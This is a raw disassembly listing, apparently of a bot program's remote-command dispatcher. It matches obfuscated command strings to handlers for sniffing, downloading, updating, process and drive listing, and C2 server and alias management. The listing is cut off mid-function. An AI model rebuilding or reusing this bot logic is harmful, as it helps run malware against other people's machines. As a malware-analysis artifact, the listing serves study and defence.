; Attributes: bp-based frame


sub_403B2C	proc near		; CODE XREF: sub_403A63+B9p
					; sub_419B2F+10Bp

var_1BCAC	= byte ptr -1BCACh
var_1ACAC	= byte ptr -1ACACh
var_19CAC	= byte ptr -19CACh
var_18CAC	= byte ptr -18CACh
var_17CAC	= byte ptr -17CACh
var_16CAC	= byte ptr -16CACh
var_15CAC	= byte ptr -15CACh
var_14CAC	= byte ptr -14CACh
var_13CAC	= byte ptr -13CACh
var_12CAC	= byte ptr -12CACh
var_11CAC	= byte ptr -11CACh
var_10CAC	= byte ptr -10CACh
var_FCAC	= byte ptr -0FCACh
var_ECAC	= byte ptr -0ECACh
var_DCAC	= byte ptr -0DCACh
var_CCAC	= byte ptr -0CCACh
var_BCAC	= byte ptr -0BCACh
var_ACAC	= byte ptr -0ACACh
var_9CAC	= byte ptr -9CACh
var_8CAC	= byte ptr -8CACh
var_7CAC	= byte ptr -7CACh
var_6CAC	= byte ptr -6CACh
var_5CAC	= byte ptr -5CACh
var_5B18	= byte ptr -5B18h
var_58DC	= byte ptr -58DCh
var_54D8	= byte ptr -54D8h
var_529C	= byte ptr -529Ch
var_5198	= byte ptr -5198h
var_5094	= dword	ptr -5094h
var_5090	= byte ptr -5090h
var_4C90	= byte ptr -4C90h
var_4890	= byte ptr -4890h
var_4810	= dword	ptr -4810h
var_480C	= dword	ptr -480Ch
var_4808	= dword	ptr -4808h
var_4800	= dword	ptr -4800h
var_47FC	= dword	ptr -47FCh
var_47F8	= dword	ptr -47F8h
var_47F4	= dword	ptr -47F4h
var_47F0	= dword	ptr -47F0h
var_47EC	= byte ptr -47ECh
var_46E8	= byte ptr -46E8h
var_45E8	= dword	ptr -45E8h
var_45E4	= dword	ptr -45E4h
var_44E4	= byte ptr -44E4h
var_43E4	= byte ptr -43E4h
var_42E0	= byte ptr -42E0h
var_41E0	= byte ptr -41E0h
var_40DC	= byte ptr -40DCh
var_3FDC	= byte ptr -3FDCh
var_3EDC	= byte ptr -3EDCh
var_3DD8	= byte ptr -3DD8h
var_3CD8	= byte ptr -3CD8h
var_3C58	= dword	ptr -3C58h
var_3C54	= byte ptr -3C54h
var_3BD4	= dword	ptr -3BD4h
var_3B9C	= dword	ptr -3B9Ch
var_3A18	= dword	ptr -3A18h
var_3A14	= byte ptr -3A14h
var_3994	= dword	ptr -3994h
var_3984	= dword	ptr -3984h
var_3980	= dword	ptr -3980h
var_3968	= dword	ptr -3968h
var_3964	= dword	ptr -3964h
var_395C	= dword	ptr -395Ch
var_37D8	= byte ptr -37D8h
var_36D4	= dword	ptr -36D4h
var_36D0	= byte ptr -36D0h
var_3650	= dword	ptr -3650h
var_3640	= dword	ptr -3640h
var_3624	= dword	ptr -3624h
var_3620	= dword	ptr -3620h
var_361C	= dword	ptr -361Ch
var_3618	= dword	ptr -3618h
var_3494	= dword	ptr -3494h
var_3490	= byte ptr -3490h
var_3410	= dword	ptr -3410h
var_33F4	= dword	ptr -33F4h
var_33E4	= dword	ptr -33E4h
var_33E0	= dword	ptr -33E0h
var_33D8	= dword	ptr -33D8h
var_3254	= byte ptr -3254h
var_3150	= byte ptr -3150h
var_2150	= dword	ptr -2150h
var_214C	= byte ptr -214Ch
var_20CC	= dword	ptr -20CCh
var_20C8	= dword	ptr -20C8h
var_20C4	= dword	ptr -20C4h
var_20BC	= dword	ptr -20BCh
var_20B8	= dword	ptr -20B8h
var_20B4	= dword	ptr -20B4h
var_20A0	= dword	ptr -20A0h
var_209C	= dword	ptr -209Ch
var_2098	= dword	ptr -2098h
var_2094	= dword	ptr -2094h
var_1F10	= dword	ptr -1F10h
var_1F00	= dword	ptr -1F00h
var_1E7C	= dword	ptr -1E7Ch
var_1E78	= dword	ptr -1E78h
var_1DF4	= byte ptr -1DF4h
var_1D70	= dword	ptr -1D70h
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= byte ptr -1D60h
var_1CE0	= dword	ptr -1CE0h
var_1CDC	= dword	ptr -1CDCh
var_1CD8	= dword	ptr -1CD8h
var_1CD0	= dword	ptr -1CD0h
var_1CCC	= dword	ptr -1CCCh
var_1CC8	= dword	ptr -1CC8h
var_1CC4	= dword	ptr -1CC4h
var_1CB4	= dword	ptr -1CB4h
var_1CB0	= dword	ptr -1CB0h
var_1CAC	= dword	ptr -1CACh
var_1CA8	= dword	ptr -1CA8h
var_1B24	= dword	ptr -1B24h
var_1B1C	= byte ptr -1B1Ch
var_1A9C	= byte ptr -1A9Ch
var_1A1C	= byte ptr -1A1Ch
var_199C	= dword	ptr -199Ch
var_1998	= dword	ptr -1998h
var_1994	= dword	ptr -1994h
var_198C	= dword	ptr -198Ch
var_1988	= dword	ptr -1988h
var_1984	= byte ptr -1984h
var_1904	= dword	ptr -1904h
var_1900	= dword	ptr -1900h
var_18D8	= dword	ptr -18D8h
var_18D4	= dword	ptr -18D4h
var_18D0	= dword	ptr -18D0h
var_18CC	= dword	ptr -18CCh
var_1748	= byte ptr -1748h
var_1710	= byte ptr -1710h
var_16D8	= dword	ptr -16D8h
var_16D4	= byte ptr -16D4h
var_15D4	= byte ptr -15D4h
var_1554	= dword	ptr -1554h
var_1550	= dword	ptr -1550h
var_154C	= dword	ptr -154Ch
var_1548	= dword	ptr -1548h
var_1540	= dword	ptr -1540h
var_153C	= dword	ptr -153Ch
var_1538	= dword	ptr -1538h
var_1534	= dword	ptr -1534h
var_1530	= dword	ptr -1530h
var_152C	= byte ptr -152Ch
var_1428	= byte ptr -1428h
var_13A8	= byte ptr -13A8h
var_1320	= dword	ptr -1320h
var_131C	= dword	ptr -131Ch
var_1314	= byte ptr -1314h
var_1210	= dword	ptr -1210h
var_1208	= byte ptr -1208h
var_1188	= byte ptr -1188h
var_1108	= byte ptr -1108h
var_1088	= dword	ptr -1088h
var_1084	= dword	ptr -1084h
var_1080	= dword	ptr -1080h
var_107C	= dword	ptr -107Ch
var_1078	= dword	ptr -1078h
var_1074	= dword	ptr -1074h
var_1070	= dword	ptr -1070h
var_106C	= dword	ptr -106Ch
var_1068	= dword	ptr -1068h
var_1060	= byte ptr -1060h
var_FE0		= byte ptr -0FE0h
var_F58		= dword	ptr -0F58h
var_F54		= dword	ptr -0F54h
var_F50		= dword	ptr -0F50h
var_F4C		= dword	ptr -0F4Ch
var_F48		= dword	ptr -0F48h
var_F44		= dword	ptr -0F44h
var_F3C		= dword	ptr -0F3Ch
var_F38		= dword	ptr -0F38h
var_F30		= byte ptr -0F30h
var_EB0		= byte ptr -0EB0h
var_E28		= dword	ptr -0E28h
var_E24		= dword	ptr -0E24h
var_E20		= dword	ptr -0E20h
var_E1C		= dword	ptr -0E1Ch
var_E18		= dword	ptr -0E18h
var_E14		= dword	ptr -0E14h
var_E0C		= dword	ptr -0E0Ch
var_E08		= dword	ptr -0E08h
var_E00		= byte ptr -0E00h
var_D80		= byte ptr -0D80h
var_CF8		= dword	ptr -0CF8h
var_CF4		= dword	ptr -0CF4h
var_CF0		= dword	ptr -0CF0h
var_CEC		= dword	ptr -0CECh
var_CE8		= dword	ptr -0CE8h
var_CE4		= dword	ptr -0CE4h
var_CDC		= dword	ptr -0CDCh
var_CD8		= dword	ptr -0CD8h
var_CD0		= byte ptr -0CD0h
var_C50		= byte ptr -0C50h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= dword	ptr -0BC4h
var_BC0		= dword	ptr -0BC0h
var_BBC		= dword	ptr -0BBCh
var_BB8		= dword	ptr -0BB8h
var_BB4		= dword	ptr -0BB4h
var_BAC		= byte ptr -0BACh
var_B2C		= byte ptr -0B2Ch
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A80		= byte ptr -0A80h
var_A00		= byte ptr -0A00h
var_980		= dword	ptr -980h
var_97C		= dword	ptr -97Ch
var_978		= dword	ptr -978h
var_974		= dword	ptr -974h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_964		= dword	ptr -964h
var_960		= dword	ptr -960h
var_95C		= byte ptr -95Ch
var_8DC		= dword	ptr -8DCh
var_8D8		= dword	ptr -8D8h
var_8CC		= dword	ptr -8CCh
var_8C8		= dword	ptr -8C8h
var_8AC		= dword	ptr -8ACh
var_8A8		= dword	ptr -8A8h
var_8A4		= dword	ptr -8A4h
var_720		= dword	ptr -720h
var_71C		= byte ptr -71Ch
var_69C		= dword	ptr -69Ch
var_698		= dword	ptr -698h
var_694		= dword	ptr -694h
var_68C		= dword	ptr -68Ch
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_670		= dword	ptr -670h
var_66C		= dword	ptr -66Ch
var_668		= dword	ptr -668h
var_664		= dword	ptr -664h
var_4E0		= byte ptr -4E0h
var_4D0		= dword	ptr -4D0h
var_4CC		= byte ptr -4CCh
var_44C		= dword	ptr -44Ch
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= byte ptr -430h
var_3B0		= dword	ptr -3B0h
var_3AC		= dword	ptr -3ACh
var_3A8		= dword	ptr -3A8h
var_3A4		= dword	ptr -3A4h
var_3A0		= dword	ptr -3A0h
var_39C		= dword	ptr -39Ch
var_398		= byte ptr -398h
var_318		= byte ptr -318h
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= dword	ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_274		= dword	ptr -274h
var_270		= byte ptr -270h
var_238		= byte ptr -238h
var_228		= byte ptr -228h
var_1A8		= dword	ptr -1A8h
var_1A4		= dword	ptr -1A4h
var_1A0		= dword	ptr -1A0h
var_19C		= dword	ptr -19Ch
var_190		= dword	ptr -190h
var_18C		= dword	ptr -18Ch
var_188		= dword	ptr -188h
var_184		= dword	ptr -184h
var_180		= dword	ptr -180h
var_17C		= dword	ptr -17Ch
var_178		= dword	ptr -178h
var_170		= dword	ptr -170h
var_16C		= word ptr -16Ch
var_16A		= word ptr -16Ah
var_168		= dword	ptr -168h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= byte ptr -150h
var_144		= byte ptr -144h
var_134		= byte ptr -134h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= word ptr -70h
var_6E		= dword	ptr -6Eh
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h
arg_34		= byte ptr  3Ch
arg_38		= dword	ptr  40h
arg_50		= dword	ptr  58h
arg_54		= dword	ptr  5Ch
arg_58		= dword	ptr  60h
arg_5C		= dword	ptr  64h
arg_60		= dword	ptr  68h
arg_68		= dword	ptr  70h
arg_6C		= dword	ptr  74h

		push	ebp
		mov	ebp, esp
		mov	eax, 1BCACh
		call	sub_4220C0
		push	ebx
		mov	ebx, dword_42F070
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_6C], edi
		jz	short loc_403B6E
		push	dword ptr [esi]
		push	offset aC7rq4Xpvel_ ; "c7RQ4/xPvel."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40AF54
		push	dword ptr [esi]
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_40AF54


loc_403B6E:				; CODE XREF: sub_403B2C+1Ej
		cmp	[ebp+arg_24], edi
		jz	loc_403D83
		push	dword ptr [esi]
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403BB6
		push	offset aThreadList ; "Thread List"
		push	5


loc_403B8B:				; CODE XREF: sub_403B2C+AFj
					; sub_403B2C+C5j ...
		cmp	[ebp+arg_18], edi
		mov	eax, [ebp+arg_C]
		push	edi
		push	[ebp+arg_20]
		jnz	short loc_403BA6
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [eax+0Ch]
		jmp	loc_40A166
; ---------------------------------------------------------------------------


loc_403BA6:				; CODE XREF: sub_403B2C+69j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [eax]
		jmp	loc_40A166
; ---------------------------------------------------------------------------


loc_403BB6:				; CODE XREF: sub_403B2C+56j
		push	dword ptr [esi]
		push	offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403BDD
		push	offset aSniffer	; "Sniffer"
		push	0Eh
		jmp	short loc_403B8B
; ---------------------------------------------------------------------------


loc_403BDD:				; CODE XREF: sub_403B2C+A6j
		push	dword ptr [esi]
		push	offset aHyomeIovtv_ ; "HyOMe/iovtV."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403BF3
		push	offset aProcs	; "Procs"
		push	1
		jmp	short loc_403B8B
; ---------------------------------------------------------------------------


loc_403BF3:				; CODE XREF: sub_403B2C+BCj
		push	dword ptr [esi]
		push	offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D77
		push	dword ptr [esi]
		push	offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D77
		push	dword ptr [esi]
		push	offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403C44
		push	[ebp+arg_20]
		cmp	[ebp+arg_18], edi
		mov	eax, [ebp+arg_C]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		jnz	short loc_403C38
		push	dword ptr [eax+0Ch]
		jmp	short loc_403C3A
; ---------------------------------------------------------------------------


loc_403C38:				; CODE XREF: sub_403B2C+105j
		push	dword ptr [eax]


loc_403C3A:				; CODE XREF: sub_403B2C+10Aj
		call	sub_40281E
		jmp	loc_40ADAB
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_403B2C+F4j
		push	dword ptr [esi]
		push	offset aWyf3k1fthkz_ ; "WyF3K1fTHKz."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403C5D
		push	offset aDriveList ; "Drive list"
		push	7
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403C5D:				; CODE XREF: sub_403B2C+123j
		push	dword ptr [esi]
		push	offset a7tmte_meccn ; "7Tmte.MEccn/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aWn7_tNza2v ; "wN7.t/nZA2V/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aGkyv90skypy ; "gkYv90Skypy/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aX2yn5_2imz1 ; "X2yN5/.2ImZ1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aNPbw1sdkiw_ ; "N/pbW1sDKiw."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aFdxpb0leh21_ ; "fDxPB0lEh21."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aUts3o_rfmks_ ; "uts3o.RfmkS."
		call	ebx ; dword_42F070
		test	eax, eax
		jz	loc_403D6B
		push	dword ptr [esi]
		push	offset aBpyvp_fw0vy1 ; "bPYVP.Fw0vY1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	short loc_403D6B
		push	dword ptr [esi]
		push	offset aQxqog1goyq80 ; "QXqOg1gOYq80"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	short loc_403D6B
		push	dword ptr [esi]
		push	offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403D13
		push	offset aDownload ; "Download"
		jmp	short loc_403D25
; ---------------------------------------------------------------------------


loc_403D13:				; CODE XREF: sub_403B2C+1DEj
		push	dword ptr [esi]
		push	offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403D2C
		push	offset aUpdate	; "Update"


loc_403D25:				; CODE XREF: sub_403B2C+1E5j
		push	0Ch
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403D2C:				; CODE XREF: sub_403B2C+1F2j
		push	dword ptr [esi]
		push	offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	short loc_403D5F
		push	dword ptr [esi]
		push	offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
		call	ebx ; dword_42F070
		test	eax, eax
		jz	short loc_403D5F
		push	dword ptr [esi]
		push	offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_403D83
		push	offset dword_435C14
		push	0Dh
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403D5F:				; CODE XREF: sub_403B2C+20Bj
					; sub_403B2C+218j
		push	offset off_435C10
		push	0Ah
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403D6B:				; CODE XREF: sub_403B2C+95j
					; sub_403B2C+13Cj ...
		push	offset aStopped_ ; "Stopped."
		push	8
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403D77:				; CODE XREF: sub_403B2C+D2j
					; sub_403B2C+E3j
		push	offset aSecure	; "Secure"
		push	2
		jmp	loc_403B8B
; ---------------------------------------------------------------------------


loc_403D83:				; CODE XREF: sub_403B2C+45j
					; sub_403B2C+225j
		push	offset aC7rq4Xpvel_ ; "c7RQ4/xPvel."
		push	dword ptr [esi]
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DC2
		cmp	[ebp+arg_20], eax
		mov	edi, [ebp+arg_C]
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aS_6 ; "[%s] ~"
		jz	loc_407742
		cmp	[ebp+arg_18], eax
		jnz	loc_40AD9F
		cmp	[ebp+arg_14], eax
		jnz	loc_40AF54
		jmp	loc_407732
; ---------------------------------------------------------------------------


loc_403DC2:				; CODE XREF: sub_403B2C+267j
		push	dword ptr [esi]
		push	offset a_hioo_5pweu_ ; ".HiOo.5pwEU."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_403F13
		push	20h
		push	[ebp+arg_8]
		call	sub_4233B0
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		jz	loc_40AF54
		mov	ebx, 1000h
		xor	edi, edi
		push	ebx
		lea	eax, [ebp+var_8CAC]
		push	edi
		push	eax
		inc	esi
		mov	[ebp+arg_4], edi
		call	sub_4221F0
		push	esi
		call	sub_422120
		add	esp, 10h
		mov	[ebp+arg_0], eax
		push	edi
		push	edi
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		call	sub_41CEE1
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		lea	eax, [ebp+var_8CAC]
		push	offset aSCipherText ; "%s (Cipher text): \""
		push	eax
		call	sub_422063
		add	esp, 1Ch
		cmp	[ebp+arg_0], edi
		mov	[ebp+arg_8], edi
		mov	edi, [ebp+arg_C]
		jbe	loc_403ED6


loc_403E46:				; CODE XREF: sub_403B2C+3A4j
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+esi]
		push	eax
		push	offset aX2_2x	; "\\x%2.2X"
		lea	eax, [ebp+var_150]
		push	0Ch
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_422120
		add	[ebp+arg_4], eax
		add	esp, 14h
		cmp	[ebp+arg_4], 0FECh
		jb	short loc_403EA4
		lea	eax, [ebp+var_8CAC]
		push	eax
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		push	ebx
		lea	eax, [ebp+var_8CAC]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 18h
		and	[ebp+arg_4], 0


loc_403EA4:				; CODE XREF: sub_403B2C+34Ej
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_150]
		push	eax
		lea	eax, [ebp+var_8CAC]
		push	eax
		call	sub_421F40
		add	esp, 10h
		inc	[ebp+arg_8]
		mov	eax, [ebp+arg_8]
		cmp	eax, [ebp+arg_0]
		jb	loc_403E46


loc_403ED6:				; CODE XREF: sub_403B2C+314j
		lea	eax, [ebp+var_8CAC]
		push	offset asc_435BDC ; "\";"
		push	eax
		call	sub_423270
		lea	eax, [ebp+var_8CAC]
		push	eax
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h
		push	0
		push	0
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		call	sub_41CEE1
		jmp	loc_40ADAB
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_403B2C+2A1j
		push	dword ptr [esi]
		push	offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404014
		mov	esi, [esi+4]
		cmp	esi, edi
		jnz	short loc_403F77
		mov	ecx, dword_45539C
		mov	edx, offset aSsl ; " (SSL)"
		mov	eax, ecx
		imul	eax, 0B8h
		cmp	dword_43970C[eax], edi
		jnz	short loc_403F4B
		mov	edx, offset byte_44D6A4


loc_403F4B:				; CODE XREF: sub_403B2C+418j
		push	edx
		push	dword_439708[eax]
		lea	eax, dword_439658[eax]
		push	eax
		mov	eax, [ebp+arg_C]
		push	ecx
		push	offset aH08_Drzwx_ ; "h/08./drzWX."
		push	offset aSCurrentServer ; "%s: [Current Server]:	[%i:%s:%d%s]"
		push	dword ptr [eax+0Ch]


loc_403F6A:				; CODE XREF: sub_403B2C+4B5Fj
		push	[ebp+arg_10]
		call	sub_4104F6
		jmp	loc_40A16B
; ---------------------------------------------------------------------------


loc_403F77:				; CODE XREF: sub_403B2C+3FDj
		push	esi
		push	offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40AF54
		mov	edi, [ebp+arg_C]
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		push	ebx
		push	offset aSServerList ; "%s [Server List]:"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		and	[ebp+arg_C], 0
		add	esp, 10h
		cmp	dword_43C170, 0
		jle	short loc_403FFE
		mov	esi, offset dword_439708


loc_403FB5:				; CODE XREF: sub_403B2C+4D0j
		cmp	dword ptr [esi+4], 0
		mov	eax, offset aSsl ; " (SSL)"
		jnz	short loc_403FC5
		mov	eax, offset byte_44D6A4


loc_403FC5:				; CODE XREF: sub_403B2C+492j
		push	offset dword_439638
		push	eax
		push	dword ptr [esi]
		lea	eax, [esi-0B0h]
		push	eax
		push	[ebp+arg_C]
		push	offset aISDSS	; "[%i:	%s:%d%s,%s]"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 20h
		inc	[ebp+arg_C]
		mov	eax, [ebp+arg_C]
		add	esi, 0B8h
		cmp	eax, dword_43C170
		jl	short loc_403FB5


loc_403FFE:				; CODE XREF: sub_403B2C+482j
		push	ebx
		push	offset aSServersListed ; "%s Servers Listed"
		push	dword ptr [edi+0Ch]


loc_404007:				; CODE XREF: sub_403B2C+3B65j
		push	[ebp+arg_10]
		call	sub_4104F6


loc_40400F:				; DATA XREF: .text:004362A8o
		jmp	loc_40ADAB
; ---------------------------------------------------------------------------


loc_404014:				; CODE XREF: sub_403B2C+3F2j
		push	dword ptr [esi]
		push	offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4040E2
		cmp	[ebp+arg_14], eax
		mov	edi, [ebp+arg_C]
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aSAliasList	; "%s [Alias list]"
		jnz	short loc_40404C
		cmp	[ebp+arg_18], eax
		jnz	short loc_404052
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_40404C:				; CODE XREF: sub_403B2C+509j
		cmp	[ebp+arg_18], 0
		jz	short loc_404061


loc_404052:				; CODE XREF: sub_403B2C+50Ej
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 10h


loc_404061:				; CODE XREF: sub_403B2C+524j
		xor	ebx, ebx
		cmp	dword_42F318, ebx
		jle	loc_40AF54
		mov	esi, offset dword_454750


loc_404074:				; CODE XREF: sub_403B2C+5AFj
		cmp	byte ptr [esi],	0
		jz	short loc_4040CE
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	ebx
		lea	eax, [ebp+var_CCAC]
		push	offset aD_SS	; "%d. %s = %s"
		push	eax
		call	sub_422063
		add	esp, 14h
		cmp	[ebp+arg_14], 0
		jnz	short loc_4040B4
		cmp	[ebp+arg_18], 0
		jnz	short loc_4040BA
		lea	eax, [ebp+var_CCAC]
		push	eax
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 0Ch


loc_4040B4:				; CODE XREF: sub_403B2C+56Bj
		cmp	[ebp+arg_18], 0
		jz	short loc_4040CE


loc_4040BA:				; CODE XREF: sub_403B2C+571j
		lea	eax, [ebp+var_CCAC]
		push	eax
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 0Ch


loc_4040CE:				; CODE XREF: sub_403B2C+54Bj
					; sub_403B2C+58Cj
		inc	ebx
		add	esi, 0B8h
		cmp	ebx, dword_42F318
		jl	short loc_404074
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_4040E2:				; CODE XREF: sub_403B2C+4F3j
		push	dword ptr [esi]
		push	offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4041C9
		cmp	[esi+4], edi
		jz	loc_4041B7
		mov	eax, [esi+8]
		cmp	eax, edi
		jz	loc_4041B7
		push	eax
		lea	eax, [ebp+var_37D8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 0Ch
		push	3
		pop	ebx
		cmp	[ebp+arg_4], ebx
		jle	short loc_40415E


loc_404124:				; CODE XREF: sub_403B2C+630j
		mov	eax, [esi+ebx*4]
		cmp	eax, edi
		jz	short loc_404158
		push	eax
		lea	eax, [ebp+var_529C]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_529C]
		push	104h
		push	eax
		lea	eax, [ebp+var_37D8]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_404158:				; CODE XREF: sub_403B2C+5FDj
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jl	short loc_404124


loc_40415E:				; CODE XREF: sub_403B2C+5F6j
		lea	eax, [ebp+var_37D8]
		push	eax
		push	dword ptr [esi+4]
		call	sub_412069
		cmp	[ebp+arg_14], 0
		mov	edi, [ebp+arg_C]
		pop	ecx
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		pop	ecx
		mov	esi, offset aSAddedAliasS ; "%s	Added Alias: %s"
		jnz	short loc_40419F
		cmp	[ebp+arg_18], 0
		jnz	short loc_4041A9
